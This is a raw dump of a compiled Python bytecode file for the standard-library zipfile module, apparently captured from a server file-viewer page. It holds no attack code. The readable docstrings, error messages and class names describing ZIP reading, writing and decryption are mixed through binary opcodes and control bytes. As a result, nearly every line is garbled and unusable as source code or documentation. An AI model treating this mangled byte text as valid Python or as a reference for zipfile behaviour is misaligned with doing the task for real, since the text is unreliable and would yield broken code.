Current File : //lib64/python3.6/__pycache__/zipfile.cpython-36.opt-1.pyc
3

�\dh48�2@s�dZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZyddlZWne
k
r|ddlZYnXyddlZejZWne
k
r�dZejZYnXyddlZWne
k
r�dZYnXyddlZWne
k
r�dZYnXddddddd	d
ddd
dgZGdd�de�ZGdd�de�ZeZZdfZdhZdjZdZdZdZdZdZ dZ!dZ"dZ#dZ$dZ%dZ&e
j'e%�Z(dZ)dZ*dZ+dZ,dZ-d Z.d!Z/d"Z0dZ1d#Z2d$Z3d%Z4e
j'e3�Z5dZ6dZ7dZ8dZ9dZ:d Z;d!Z<d"Z=dZ>d#Z?d&Z@d'ZAdZBd(ZCdZDd)ZEdZFd*ZGd+ZHd,ZId-ZJe
j'eI�ZKdZLdZMdZNdZOdZPd ZQd!ZRd"ZSdZTd#ZUd&ZVd'ZWd.ZXd/ZYe
j'eX�ZZd0Z[d1Z\e
j'e[�Z]dZ^dZ_dZ`dZadZbd Zcd!Zdd"ZedZfd#Zgd2Zhe
jid3�Zjd4d5�Zkd6d7�Zld8d
�Zmd9d:�Znd;d<�ZoGd=d�dep�ZqGd>d?�d?�ZrGd@dA�dA�ZsGdBdC�dC�ZtdDdEdFdFdFdFdGdHdIdJdGdKdLdMdNdOdPdQ�ZudRdS�ZvdTdU�ZwdVdW�ZxGdXdY�dY�ZyGdZd[�d[�ZzGd\d]�d]ej{�Z|Gd^d_�d_ej{�Z}Gd`d�d�Z~Gdad
�d
e~�Zdkdbdc�Z�e�ddk�r�e��dS)lzP
Read and write ZIP files.

XXX references to utf-8 need further investigation.
�N�
BadZipFile�
BadZipfile�error�
ZIP_STORED�ZIP_DEFLATED�	ZIP_BZIP2�ZIP_LZMA�
is_zipfile�ZipInfo�ZipFile�	PyZipFile�LargeZipFilec@seZdZdS)rN)�__name__�
__module__�__qualname__�rr�/usr/lib64/python3.6/zipfile.pyr+sc@seZdZdZdS)r
zu
    Raised when writing a zipfile, the zipfile requires ZIP64 extensions
    and those extensions are disabled.
    N)rrr�__doc__rrrrr
/s��������-�.�?s<4s4H2LHsPK�������	z<4s4B4HL2L5H2LsPK�
��
���z<4s2B4HL2L2HsPKz<4sLQLsPKz
<4sQ2H2L4QsPKiPKz<HHc
Cs�tj}d}g}d}}xf|dt|�kr|||||d��\}}|d|}	||krv||krn|j|||��|	}d}|	}qW|s�|Sdj|�S)NFrr T�)�_EXTRA_FIELD_STRUCT�unpack�len�append�join)
�extraZxidsr-Zmodified�buffer�start�iZxidZxlen�jrrr�_strip_extra�s r6cCs*yt|�rdSWntk
r$YnXdS)NTF)�_EndRecData�OSError)�fprrr�_check_zipfile�sr:cCsVd}y8t|d�rt|d�}nt|d��}t|�}WdQRXWntk
rPYnX|S)z�Quickly see if a file is a ZIP file by checking the magic number.

    The filename argument may be a file or file-like object too.
    F�read)r9�rbN)�hasattrr:�openr8)�filename�resultr9rrrr	�s
cCsy|j|td�Wntk
r(|SX|jt�}t|�tkrD|Stjt|�\}}}}|tkrd|S|dkst|dkr|t	d��|j|tt
d�|jt
�}t|�t
kr�|Stjt|�\
}}}	}
}}}
}}}|tkr�|S||t
<||t<||t<|
|t<||t<||t<||t<|S)zM
    Read the ZIP64 end-of-archive records and use that to update endrec
    rrrz3zipfiles that span multiple disks are not supported)�seek�sizeEndCentDir64Locatorr8r;r.�structr-�structEndArchive64Locator�stringEndArchive64Locatorr�sizeEndCentDir64�structEndArchive64�stringEndArchive64�_ECD_SIGNATURE�_ECD_DISK_NUMBER�_ECD_DISK_START�_ECD_ENTRIES_THIS_DISK�_ECD_ENTRIES_TOTAL�	_ECD_SIZE�_ECD_OFFSET)�fpin�offset�endrec�dataZsigZdisknoZreloffZdisksZsz�create_versionZread_versionZdisk_numZdisk_dirZdircountZ	dircount2ZdirsizeZ	diroffsetrrr�
_EndRecData64�s6

 rUc	Csf|jdd�|j�}y|jtd�Wntk
r:dSX|j�}t|�tkr�|dd�tkr�|d	d�dkr�tjt	|�}t
|�}|jd�|j|t�t|t|�St
|d
td�}|j|d�|j�}|jt�}|dk�rb|||t�}t|�tk�rdSt
tjt	|��}|t}||t|t|�}|j|�|j||�t|||||�SdS)z�Return data from the "End of Central Directory" record, or None.

    The data is a list of the nine items in the ZIP "End of central dir"
    record followed by a tenth item, the file seek offset of this record.rrNr sr+rr���i)rA�tell�sizeEndCentDirr8r;r.�stringEndArchiverCr-�structEndArchive�listr/rU�max�rfind�_ECD_COMMENT_SIZE)	rPZfilesizerSrRZmaxCommentStartr3ZrecDataZcommentSize�commentrrrr7s>



r7c@sVeZdZdZd)Zd+dd�Zdd�Zd,dd �Zd!d"�Zd#d$�Z	e
d-d%d&��Zd'd(�ZdS).r
z>Class with attributes describing each file in the ZIP archive.�
orig_filenamer?�	date_time�
compress_typer_r1�
create_systemrT�extract_version�reserved�	flag_bits�volume�
internal_attr�
external_attr�
header_offset�CRC�
compress_size�	file_size�	_raw_time�_end_offset�NoName�rrcCs�||_|jtd��}|dkr(|d|�}tjdkrJtj|krJ|jtjd�}||_||_|ddkrjtd��t	|_
d|_d|_t
jdkr�d|_nd|_t|_t|_d|_d|_d|_d|_d|_d|_dS)Nr�/i�z+ZIP does not support timestamps before 1980r+Zwin32r)r`�find�chr�os�sep�replacer?ra�
ValueErrorrrbr_r1�sys�platformrc�DEFAULT_VERSIONrTrdrerfrgrhriro)�selfr?raZ	null_byterrr�__init__Xs0
zZipInfo.__init__cCs�d|jj|jfg}|jtkr8|jdtj|j|j��|jd?}|jd@}|rd|jdt	j
|��|rv|jd|�|j�}|s�|jr�|jd|j�|s�|j
r�|jtks�|j|j
kr�|jd|j
�|jd	�d
j|�S)Nz<%s filename=%rz compress_type=%sri��z filemode=%rz external_attr=%#xz
 file_size=%rz compress_size=%r�>�)�	__class__rr?rbrr/�compressor_names�getri�stat�filemode�is_dirrmrlr0)r|r@�hi�lo�isdirrrr�__repr__�s(




zZipInfo.__repr__NcCs||j}|ddd>|dd>B|dB}|dd>|d	d>B|ddB}|jd
@rfd}}}n|j}|j}|j}|j}d}	|dkr�|tkp�|tk}|r�d}
|tj|
dtj	|
�d	||�}|tks�|tkr�|s�t
d
��d}d}t}	|jt
k�rtt|	�}	n|jtk�rtt|	�}	t|	|j�|_t|	|j�|_|j�\}}tjtt|j|j||j|||||t|�t|��
}
|
||S)z-Return the per-file header as a bytes object.ri�r$rr!rrr&r rNz<HHQQz'Filesize would require ZIP64 extensionsl��)rarfrkrlrmr1�ZIP64_LIMITrC�pack�calcsizer
�
ZIP64_VERSIONrbrr\�
BZIP2_VERSIONr�LZMA_VERSIONrdrT�_encodeFilenameFlags�structFileHeader�stringFileHeaderrer.)r|�zip64�dt�dosdate�dostimerkrlrmr1�min_version�fmtr?rf�headerrrr�
FileHeader�sF$$



zZipInfo.FileHeadercCs>y|jjd�|jfStk
r8|jjd�|jdBfSXdS)N�asciizutf-8i)r?�encoderf�UnicodeEncodeError)r|rrrr��szZipInfo._encodeFilenameFlagscCs(|j}tj}�xt|�dk�r"|d|dd��\}}|dk�r|dkrZ|d|dd��}nV|dkrv|d|dd	��}n:|d
kr�|d|dd��}n|d
kr�f}ntd||f��d
}|jdkr�|||_|d7}|jdkr�|||_|d7}|jdk�r|j}|||_|d7}||dd�}qWdS)Nr z<HHr�z<QQQ�rz<QQrrz<Qrrz"Corrupt extra field %04x (size=%d)��������)r�r�)r1rCr-r.rrmrlrj)r|r1r-�tp�lnZcounts�idx�oldrrr�_decodeExtra�s4





zZipInfo._decodeExtracCs�t|tj�rtj|�}tj|�}tj|j�}tj|j	�}|dd�}|dkrP|}tj
jtj
j|�d�}x$|dtj
tjfkr�|dd�}qjW|r�|d7}|||�}|jd@d>|_|r�d|_|jdO_n|j|_|S)a_Construct an appropriate ZipInfo for a file on the filesystem.

        filename should be the path to a file or directory on the filesystem.

        arcname is the name which it will have within the archive (by default,
        this will be the same as filename, but without a drive letter and with
        leading path separators removed).
        rr"Nrrri��r)�
isinstanceru�PathLike�fspathr��S_ISDIR�st_mode�time�	localtime�st_mtime�path�normpath�
splitdriverv�altseprirm�st_size)�clsr?�arcname�str��mtimera�zinforrr�	from_file�s(



zZipInfo.from_filecCs|jddkS)z2Return True if this archive member is a directory.rrr���)r?)r|rrrr�szZipInfo.is_dir)r`r?rarbr_r1rcrTrdrerfrgrhrirjrkrlrmrnro�rqrrrrr)rpr�)N)N)
rrrr�	__slots__r}r�r�r�r��classmethodr�r�rrrrr
>s:
+
.$!c@s<eZdZdZdd�ZdZdd�Zdd�Zd	d
�Zdd�Z	dS)
�
_ZipDecrypteraClass to handle decryption of files stored within a ZIP archive.

    ZIP supports a password-based form of encryption. Even though known
    plaintext attacks have been found against it, it is still useful
    to be able to get data out of such a file.

    Usage:
        zd = _ZipDecrypter(mypwd)
        plain_char = zd(cypher_char)
        plain_text = map(zd, cypher_text)
    cCshd}dgd}xTtd�D]H}|}x6td�D]*}|d@rH|d?d@|A}q*|d?d@}q*W|||<qW|S)z�Generate a CRC-32 table.

        ZIP encryption uses the CRC32 one-byte primitive for scrambling some
        internal keys. We noticed that a direct implementation is faster than
        relying on binascii.crc32().
        l q[r�rri���)�range)Zpoly�tabler4�crcr5rrr�_GenerateCRCTable%s
z_ZipDecrypter._GenerateCRCTableNcCs|d?d@|j||Ad@AS)z(Compute the CRC32 primitive on one byte.ri����)�crctable)r|Zchr�rrr�_crc329sz_ZipDecrypter._crc32cCsBtjdkrtj�t_d|_d|_d|_x|D]}|j|�q,WdS)NixV4i�gE#i�xV4)r�r�r��key0�key1�key2�_UpdateKeys)r|�pwd�prrrr}=s


z_ZipDecrypter.__init__cCsX|j||j�|_|j|jd@d@|_|jddd@|_|j|jd?d@|j�|_dS)Nr�l��i�rr�)r�r�r�r�)r|�crrrr�Fsz_ZipDecrypter._UpdateKeyscCs0|jdB}|||dAd?d@A}|j|�|S)zDecrypt a single character.rrrr�)r�r�)r|r��krrr�__call__Ls

z_ZipDecrypter.__call__)
rrrrr�r�r�r}r�r�rrrrr�s	r�c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�LZMACompressorcCs
d|_dS)N)�_comp)r|rrrr}WszLZMACompressor.__init__cCsFtjdtji�}tjtjtjtj|�gd�|_tjdddt	|��|S)N�id)�filtersz<BBHr$r )
�lzmaZ_encode_filter_properties�FILTER_LZMA1r��
FORMAT_RAW�_decode_filter_propertiesr�rCr�r.)r|Zpropsrrr�_initZszLZMACompressor._initcCs*|jdkr|j�|jj|�S|jj|�S)N)r�r��compress)r|rSrrrr�as
zLZMACompressor.compresscCs&|jdkr|j�|jj�S|jj�S)N)r�r��flush)r|rrrr�fs
zLZMACompressor.flushN)rrrr}r�r�r�rrrrr�Usr�c@seZdZdd�Zdd�ZdS)�LZMADecompressorcCsd|_d|_d|_dS)Nr+F)�_decomp�_unconsumed�eof)r|rrrr}nszLZMADecompressor.__init__cCs�|jdkr�|j|7_t|j�dkr*dStjd|jdd��\}t|j�d|krXdStjtjtjtj	|jdd|��gd�|_|jd|d�}|`|jj
|�}|jj|_|S)Nr r+z<Hr)r�)r�r�r.rCr-r�r�r�r�r��
decompressr�)r|rSZpsizer@rrrr�ss

zLZMADecompressor.decompressN)rrrr}r�rrrrr�lsr�ZstoreZshrink�reduceZimplode�tokenizeZdeflateZ	deflate64Zbzip2r�ZterseZlz77ZwavpackZppmd)rrrrr r!r"r#rr$r%rrr*��a�bcCsX|tkr
nJ|tkr tsTtd��n4|tkr6tsTtd��n|tkrLtsTtd��ntd��dS)Nz.Compression requires the (missing) zlib modulez-Compression requires the (missing) bz2 modulez.Compression requires the (missing) lzma modulez(That compression method is not supported)	rr�zlib�RuntimeErrorr�bz2rr��NotImplementedError)�compressionrrr�_check_compression�sr�cCs@|tkrtjtjtjd�S|tkr*tj�S|tkr8t	�SdSdS)Nr(i�)
rr�ZcompressobjZZ_DEFAULT_COMPRESSIONZDEFLATEDrr�Z
BZ2Compressorrr�)rbrrr�_get_compressor�s
r�cCsn|tkrdS|tkrtjd�S|tkr.tj�S|tkr<t�St	j
|�}|r\td||f��ntd|f��dS)Nr(zcompression type %d (%s)zcompression type %di�)rrr�Z
decompressobjrr�ZBZ2Decompressorrr�r�r�r�)rbZdescrrrr�_get_decompressor�s

r�c@s0eZdZdd�Zddd�Zddd�Zd	d
�ZdS)�_SharedFilecCs2||_||_||_||_||_|j|_|j|_dS)N)�_file�_pos�_close�_lock�_writing�seekablerW)r|�file�pos�close�lock�writingrrrr}�sz_SharedFile.__init__rc	CsB|j�2|j�rtd��|jj|j�|jj�|_|jSQRXdS)Nz}Can't reposition in the ZIP file while there is an open writing handle on it. Close the writing handle before trying to read.)r�r�rxr�rAr�rW)r|rQ�whencerrrrA�sz_SharedFile.seekrc	CsL|j�<|j�rtd��|jj|j�|jj|�}|jj�|_|SQRXdS)NzyCan't read from the ZIP file while there is an open writing handle on it. Close the writing handle before trying to read.)r�r�rxr�rAr�r;rW)r|�nrSrrrr;�sz_SharedFile.readcCs$|jdk	r |j}d|_|j|�dS)N)r�r�)r|�fileobjrrrr��s
z_SharedFile.closeN)rr�)r�)rrrr}rAr;r�rrrrr��s	


r�c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�	_TellablecCs||_d|_dS)Nr)r9rQ)r|r9rrrr}�sz_Tellable.__init__cCs|jj|�}|j|7_|S)N)r9�writerQ)r|rSr�rrrr��sz_Tellable.writecCs|jS)N)rQ)r|rrrrW�sz_Tellable.tellcCs|jj�dS)N)r9r�)r|rrrr��sz_Tellable.flushcCs|jj�dS)N)r9r�)r|rrrr�sz_Tellable.closeN)rrrr}r�rWr�r�rrrrr��s
r�cs�eZdZdZd&ZdZd'Zd(dd	�Zd
d�Zd*dd
�Z	d+dd�Z
dd�Zd-dd�Zdd�Z
dd�Zdd�Zdd�Z�fdd�Zdd�Zd.d!d"�Zd#d$�Z�ZS)/�
ZipExtFilezZFile-like object for reading an archive member.
       Is returned by ZipFile.open().
    rrir�NFcCs�||_||_||_|j|_|j|_|j|_t	|j�|_
d|_d|_d|_
d|_|jdk	rf|jd8_||_|j|_t|d�r�|j|_td�|_nd|_d|_y4|j�r�|j�|_|j|_|j|_|j|_d|_Wntk
r�YnXdS)NFr+rrrkT)�_fileobj�
_decrypter�_close_fileobjrb�_compress_typerl�_compress_leftrm�_leftr��
_decompressor�_eof�_readbuffer�_offset�newlines�moder?�namer=rk�
_expected_crc�crc32�_running_crc�	_seekabler�rW�_orig_compress_start�_orig_compress_size�_orig_file_size�_orig_start_crc�AttributeError)r|r�r
�zipinfoZ	decrypterZ
close_fileobjrrrr}s:



zZipExtFile.__init__cCsvd|jj|jjfg}|jsX|jd|j|jf�|jtkrb|jdt	j
|j|j��n
|jd�|jd�dj|�S)Nz<%s.%sz name=%r mode=%rz compress_type=%sz	 [closed]r~r)r�rr�closedr/rr
rrr�r�r0)r|r@rrrr�?s


zZipExtFile.__repr__cCsL|dkr>|jjd|j�d}|dkr>|j|j|�}||_|Stjj||�S)zrRead and return a line from the stream.

        If limit is specified, at most limit bytes will be read.
        r�
r)rrsr�io�BufferedIOBase�readline)r|�limitr4�linerrrrMszZipExtFile.readlinecCsr|t|j�|jkr\|j|�}t|�|jkrJ||j|jd�|_d|_n|jt|�8_|j|j|jd�S)z6Returns buffered bytes without advancing the position.Nri)r.rrr;)r|r��chunkrrr�peek]s
zZipExtFile.peekcCsdS)NTr)r|rrr�readablejszZipExtFile.readablecCs|dks|dkrL|j|jd�}d|_d|_x|jsF||j|j�7}q.W|S||j}|t|j�kr~|j|j|�}||_|S|t|j�}|j|jd�}d|_d|_x^|dko�|j�r|j|�}|t|�kr�||_||_||d|�7}P||7}|t|�8}q�W|S)z�Read and return up to n bytes.
        If the argument is omitted, None, or negative, data is read and returned until EOF is reached..
        Nrr+)rrr�_read1�MAX_Nr.)r|r��buf�endrSrrrr;ms4

zZipExtFile.readcCs@|jdkrdSt||j�|_|jr<|j|jkr<td|j��dS)NzBad CRC-32 for file %r)rr
rrrr)r|�newdatarrr�_update_crc�s

zZipExtFile._update_crccCs|dks|dkrV|j|jd�}d|_d|_x$|jsP|j|j�}|r.||7}Pq.W|S||j}|t|j�kr�|j|j|�}||_|S|t|j�}|j|jd�}d|_d|_|dk�rxN|j�s
|j|�}|t|�kr�||_||_||d|�7}P|r�||7}Pq�W|S)z7Read up to n bytes with at most one read() system call.Nrr+)rrrr r!r.)r|r�r"rSr#rrr�read1�s>



zZipExtFile.read1cCs"|js|dkrdS|jtkrH|jj}|t|�krR||j|t|��7}n
|j|�}|jtkrj|jdk|_nx|jtkr�t	||j
�}|jj||�}|jjp�|jdko�|jj|_|jr�||jj
�7}n |jj|�}|jjp�|jdk|_|d|j�}|jt|�8_|jdk�rd|_|j|�|S)Nrr+T)rrrrZunconsumed_tailr.�_read2rrr\�
MIN_READ_SIZEr�r�r�rr%)r|r�rSrrrr �s2





zZipExtFile._read1cCsj|jdkrdSt||j�}t||j�}|jj|�}|jt|�8_|sLt�|jdk	rft	t
|j|��}|S)Nrr+)rr\r(�minr�r;r.�EOFErrorr�bytes�map)r|r�rSrrrr'�s

zZipExtFile._read2c
s&z|jr|jj�Wdt�j�XdS)N)rr�r��super)r|)r�rrr��szZipExtFile.closecCs|jS)N)r)r|rrrr��szZipExtFile.seekablercCs,|jstjd��|j�}|dkr&|}n.|dkr8||}n|dkrL|j|}ntd��||jkrd|j}|dkrpd}||}||j}|dkr�|t|j�kr�||_d}nR|dkr�|j	j
|j�|j|_
|j|_|j|_d|_d|_tj|j�|_d|_|}x,|dk�r"t|j|�}|j|�||8}q�W|j�S)Nz!underlying stream is not seekablerrrzCwhence must be os.SEEK_SET (0), os.SEEK_CUR (1), or os.SEEK_END (2)r+F)rr�UnsupportedOperationrWrrxrr.rr�rArrrrrrZzipfiler�rrrr)�
MAX_SEEK_READr;)r|rQr�Zcurr_posZnew_posZread_offsetZbuff_offsetZread_lenrrrrA�sD




zZipExtFile.seekcCs0|jstjd��|j|jt|j�|j}|S)Nz!underlying stream is not seekable)rrr.rrr.rr)r|ZfileposrrrrW*s
zZipExtFile.tell�i@i)NFr�)r�)rr�)r�)r)rrrrr!r(r/r}r�rrrr;r%r&r r'r�r�rArW�
__classcell__rr)r�rr�s&
*



!
%$
/r�cs@eZdZdd�Zedd��Zdd�Zdd�Z�fd	d
�Z�Z	S)�
_ZipWriteFilecCs4||_||_||_t|j�|_d|_d|_d|_dS)Nr)	�_zinfo�_zip64�_zipfiler�rb�_compressor�
_file_size�_compress_size�_crc)r|�zfr�r�rrrr}2sz_ZipWriteFile.__init__cCs|jjS)N)r5r9)r|rrrr�;sz_ZipWriteFile._fileobjcCsdS)NTr)r|rrr�writable?sz_ZipWriteFile.writablecCsf|jrtd��t|�}|j|7_t||j�|_|jrV|jj|�}|jt|�7_|j	j
|�|S)NzI/O operation on closed file.)rrxr.r7r
r9r6r�r8r�r�)r|rS�nbytesrrrr�Bsz_ZipWriteFile.writecsX|jr
dSt�j�|jrN|jj�}|jt|�7_|jj|�|j|j	_
n
|j|j	_
|j|j	_
|j|j	_|j	jd@r�|jr�dnd}|jjtj|t|j	j
|j	j
|j	j��|jj�|j_nn|js�|jtkr�td��|jtkr�td��|jj�|j_|jj|j	j�|jj|j	j|j��|jj|jj�d|j_|jjj|j	�|j	|jj|j	j <dS)Nrz<LLQQz<LLLLz+File size unexpectedly exceeded ZIP64 limitz1Compressed size unexpectedly exceeded ZIP64 limitF)!rr-r�r6r�r8r.r�r�r3rlr7r9rkrmrfr4rCr��
_DD_SIGNATURErWr5�	start_dirr�r�rArjr�r��filelistr/�
NameToInfor?)r|r"r�)r�rrr�Ns8






z_ZipWriteFile.close)
rrrr}�propertyr�r;r�r�r1rr)r�rr21s
	r2c@seZdZdZdZdZdedfdd�Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
d<dd�Zdd�Zdd�Zdd�Zedd��Zejdd��Zd=dd�Zd>d d!�d"d#�Zd?d$d%�Zd@d&d'�ZdAd(d)�Zed*d+��Zd,d-�Zd.d/�ZdBd0d1�ZdCd2d3�Zd4d5�Z d6d7�Z!d8d9�Z"d:d;�Z#dS)Dra� Class with methods to open, read, write, close, list zip files.

    z = ZipFile(file, mode="r", compression=ZIP_STORED, allowZip64=True)

    file: Either the path to the file, or a file-like object.
          If it is a path, the file will be opened and closed by ZipFile.
    mode: The mode can be either read 'r', write 'w', exclusive create 'x',
          or append 'a'.
    compression: ZIP_STORED (no compression), ZIP_DEFLATED (requires zlib),
                 ZIP_BZIP2 (requires bz2) or ZIP_LZMA (requires lzma).
    allowZip64: if True ZipFile will create files with ZIP64 extensions when
                needed, otherwise it will raise an exception when this would
                be necessary.

    N�rTcCsF|dkrtd��t|�||_d|_d|_i|_g|_||_||_d|_	d	|_
t|tj
�rdtj|�}t|t�r�d|_||_d
ddd
dddd�}||}x^ytj||�|_Wn(tk
r�||kr�||}w��YnXPq�Wnd|_||_t|dd�|_d|_tj�|_d|_d|_�y|dk�r*|j�n�|dk�r�d|_y|jj�|_Wn2t tfk
�r|t!|j�|_d|_d|_Yn6Xy|jj"|j�Wn t tfk
�r�d|_YnXnf|dk�ry|j�|jj"|j�Wn6t#k
�r|jj"dd�d|_|jj�|_YnXntd��Wn$|j}d|_|j$|��YnXdS)z]Open the ZIP file with mode read 'r', write 'w', exclusive create 'x',
        or append 'a'.rB�w�x�az+ZipFile requires mode 'r', 'w', 'x', or 'a'FrNr+r<zw+bzx+bzr+b�wbZxb)rBrCrDrEzr+bzw+bzx+brrTrz"Mode must be 'r', 'w', 'x', or 'a')rBrCrDrE)rCrD)%rxr��_allowZip64�
_didModify�debugr@r?r�r
r��_commentr�rur�r��str�_filePassedr?rr>r9r8�getattr�_fileRefCnt�	threading�RLockr�rr��_RealGetContentsrWr>rr�rAr�_fpclose)r|r�r
r��
allowZip64ZmodeDictr�r9rrrr}�s�







zZipFile.__init__cCs|S)Nr)r|rrr�	__enter__�szZipFile.__enter__cCs|j�dS)N)r�)r|�type�value�	tracebackrrr�__exit__�szZipFile.__exit__cCs�d|jj|jjfg}|jdk	rd|jr8|jd|j�n|jdk	rR|jd|j�|jd|j�n
|jd�|jd�dj|�S)Nz<%s.%sz file=%rz filename=%rz mode=%rz	 [closed]r~r)	r�rrr9rLr/r?r
r0)r|r@rrrr��s



zZipFile.__repr__cCs�|j}yt|�}Wntk
r.td��YnX|s<td��|jdkrNt|�|t}|t}|t|_	|t
||}|ttkr�|t
t8}|jdkr�||}td|||�|||_|j|jd�|j|�}tj|�}d}�x�||k�r�|jt�}	t|	�tk�rtd��tjt|	�}	|	ttk�r0td��|jdk�rDt|	�|j|	t�}
|	d}|d	@�rp|
jd
�}
n
|
jd�}
t|
�}|j|	t�|_|j|	t �|_!|	t"|_#|	dd�\|_$|_%|_&|_'|_(|_)}
}|_*|_+|_,|j&t-k�r�t.d
|j&d��|	dd�\|_/|_0|_1|
|_2|d?d|d?d@|d@|
d?|
d?d@|
d@df|_3|j4�|j#||_#|j5j6|�||j7|j8<|t|	t|	t|	t }|jdkr�td|�q�W|j}x*t9|j5dd�dd�D]}||_:|j#}�q�WdS)z/Read in the table of contents for the ZIP file.zFile is not a zip filerrzgiven, inferred, offsetrzTruncated central directoryz&Bad magic number for central directoryr!izutf-8�cp437rzzip file version %.1fr%r(r*r$i�rr&r�totalcSs|jS)N)rj)r�rrr�<lambda>Isz*ZipFile._RealGetContents.<locals>.<lambda>T)�key�reverseN);r9r7r8rrI�printrNrO�_ECD_COMMENTrJ�
_ECD_LOCATIONrIrHrFrBr>rAr;r�BytesIO�sizeCentralDirr.rCr-�structCentralDir�
_CD_SIGNATURE�stringCentralDir�_CD_FILENAME_LENGTH�decoder
�_CD_EXTRA_FIELD_LENGTHr1�_CD_COMMENT_LENGTHr_�_CD_LOCAL_HEADER_OFFSETrjrTrcrdrerfrbrkrlrm�MAX_EXTRACT_VERSIONr�rgrhrirnrar�r?r/r@r?�sortedro)r|r9rRZsize_cdZ	offset_cd�concatZinferredrSrZ�centdirr?�flagsrD�t�dZ
end_offsetr�rrrrQ�s|









4  
zZipFile._RealGetContentscCsdd�|jD�S)z+Return a list of file names in the archive.cSsg|]
}|j�qSr)r?)�.0rSrrr�
<listcomp>Psz$ZipFile.namelist.<locals>.<listcomp>)r?)r|rrr�namelistNszZipFile.namelistcCs|jS)zJReturn a list of class ZipInfo instances for files in the
        archive.)r?)r|rrr�infolistRszZipFile.infolistcCsPtdd
|d�x:|jD]0}d|jdd�}td	|j||jf|d�qWdS)z+Print a table of contents for the zip file.z%-46s %19s %12s�	File Name�Modified    �Size)r�z%d-%02d-%02d %02d:%02d:%02dNr"z
%-46s %s %12d)rvrwrx)r^r?rar?rm)r|r�r�Zdaterrr�printdirWszZipFile.printdircCs^d}xT|jD]J}y.|j|jd��}x|j|�r0q$WWdQRXWqtk
rT|jSXqWdS)z%Read all the files and check the CRC.rrrBNi)r?r>r?r;r)r|Z
chunk_sizer��frrr�testzip`szZipFile.testzipcCs$|jj|�}|dkr td|��|S)z,Return the instance of ZipInfo given 'name'.Nz(There is no item named %r in the archive)r@r��KeyError)r|r�inforrr�getinfoms

zZipFile.getinfocCs8|r"t|t�r"tdt|�j��|r.||_nd|_dS)z)Set default password for encrypted files.zpwd: expected bytes, got %sN)r�r+�	TypeErrorrUrr�)r|r�rrr�setpasswordvs
zZipFile.setpasswordcCs|jS)z.The comment text associated with the ZIP file.)rJ)r|rrrr_szZipFile.commentcCs^t|t�stdt|�j��t|�tkrNddl}|jdtdd�|dt�}||_	d|_
dS)Nzcomment: expected bytes, got %srz3Archive comment is too long; truncating to %d bytesr)�
stacklevelT)r�r+rrUrr.�ZIP_MAX_COMMENT�warnings�warnrJrH)r|r_r�rrrr_�s
c	Cs"|j|d|��
}|j�SQRXdS)zReturn file bytes for name.rBN)r>r;)r|rr�r9rrrr;�szZipFile.readF)�force_zip64cs�|d"krtd��|r2t|t�r2tdt|�j��|rF|dkrFtd���jsTtd��t|t�rd|}n$|dkr~t|�}�j|_	n
�j
|�}|dkr��j||d�S�jr�td���j
d	7_
t�j|j�j�j�fd
d��}�y�|jt�}t|�tk�r�td��tjt|�}|ttk�r td
��|j|t�}|t�rF|j|t�|jd@�rZtd��|jd@�rntd��|jd@�r�|jd�}	n
|jd�}	|	|j k�r�td|j |f��|j!dk	�r�|j"�|j#|j!k�r�td|j �d���|jd	@}
d}|
�r�|�s�j$}|�st%d|��t&|�}|jd�}t't(||dd���}
|jd@�rX|j)d?d@}n|j*d?d@}|
d|k�r�t%d |��t+||||d!�S|j,��YnXdS)#auReturn file-like object for 'name'.

        name is a string for the file name within the ZIP file, or a ZipInfo
        object.

        mode should be 'r' to read a file already in the ZIP file, or 'w' to
        write to a file newly added to the archive.

        pwd is the password to decrypt files (only used for reading).

        When writing, if the file size is not known in advance but may exceed
        2 GiB, pass force_zip64 to use the ZIP64 format, which can handle large
        files.  If the size is known in advance, it is best to pass a ZipInfo
        instance for name, with zinfo.file_size set.
        rBrCzopen() requires mode "r" or "w"zpwd: expected bytes, got %sz'pwd is only supported for reading filesz2Attempt to use ZIP archive that was already closed)r�zyCan't read from the ZIP file while there is an open writing handle on it. Close the writing handle before trying to read.rcs�jS)N)r�r)r|rrr[�szZipFile.open.<locals>.<lambda>zTruncated file headerz Bad magic number for file header� z$compressed patched data (flag bit 5)�@zstrong encryption (flag bit 6)izutf-8rYz/File name in directory %r and header %r differ.NzOverlapped entries: z (possible zip bomb)z6File %r is encrypted, password required for extractionrrrr�r�r&zBad password for file %rT>rCrB)-rxr�r+rrUrr9r
r�rbr~�_open_to_writer�rNr�rjrRr�r;�sizeFileHeaderr.rrCr-r��
_FH_SIGNATUREr��_FH_FILENAME_LENGTH�_FH_EXTRA_FIELD_LENGTHrfr�rgr`rorWrlr�r�r�r[r,rnrkr�r�)r|rr
r�r�r�Zzef_fileZfheader�fnameZ	fname_strZis_encryptedZzdr��hZ
check_byter)r|rr>�s�








zZipFile.opencCs�|r|jrtd��|jr"td��t|d�s2d|_d|_d|_d|_|jt	kr\|jdO_|j
sp|jdO_|js|d|_|jo�|p�|jd	tk}|j
r�|j
j|j�|j
j�|_|j|�d
|_|j
j|j|��d
|_t|||�S)NzHforce_zip64 is True, but allowZip64 was False when opening the ZIP file.zzCan't write to the ZIP file while there is another write handle open on it. Close the first handle before opening another.rmrrri�rg�������?Ti�)rGrxr�r=rmrlrkrfrbrrrir�r9rAr>rWrj�_writecheckrHr�r�r2)r|r�r�r�rrrr�s4


zZipFile._open_to_writecCs*|dkrtj�}n
tj|�}|j|||�S)a#Extract a member from the archive to the current working directory,
           using its full name. Its file information is extracted as accurately
           as possible. `member' may be a filename or a ZipInfo object. You can
           specify a different directory using `path'.
        N)ru�getcwdr��_extract_member)r|�memberr�r�rrr�extract6s

zZipFile.extractcCsL|dkr|j�}|dkr"tj�}n
tj|�}x|D]}|j|||�q2WdS)z�Extract all members from the archive to the current working
           directory. `path' specifies a different directory to extract to.
           `members' is optional and must be a subset of the list returned
           by namelist().
        N)rtrur�r�r�)r|r��membersr�rrrr�
extractallCs


zZipFile.extractallcCs^|j}|s(d}tj|dt|��}||_|j|�}dd�|j|�D�}|jdd�|D��}|S)z;Replace bad characters and remove trailing dots from parts.z:<>|"?*�_css|]}|jd�VqdS)�.N)�rstrip)rrrDrrr�	<genexpr>^sz1ZipFile._sanitize_windows_name.<locals>.<genexpr>css|]}|r|VqdS)Nr)rrrDrrrr�`s)�!_windows_illegal_name_trans_tablerK�	maketransr.�	translate�splitr0)r�r��pathsepr�Zillegalrrr�_sanitize_windows_nameTs
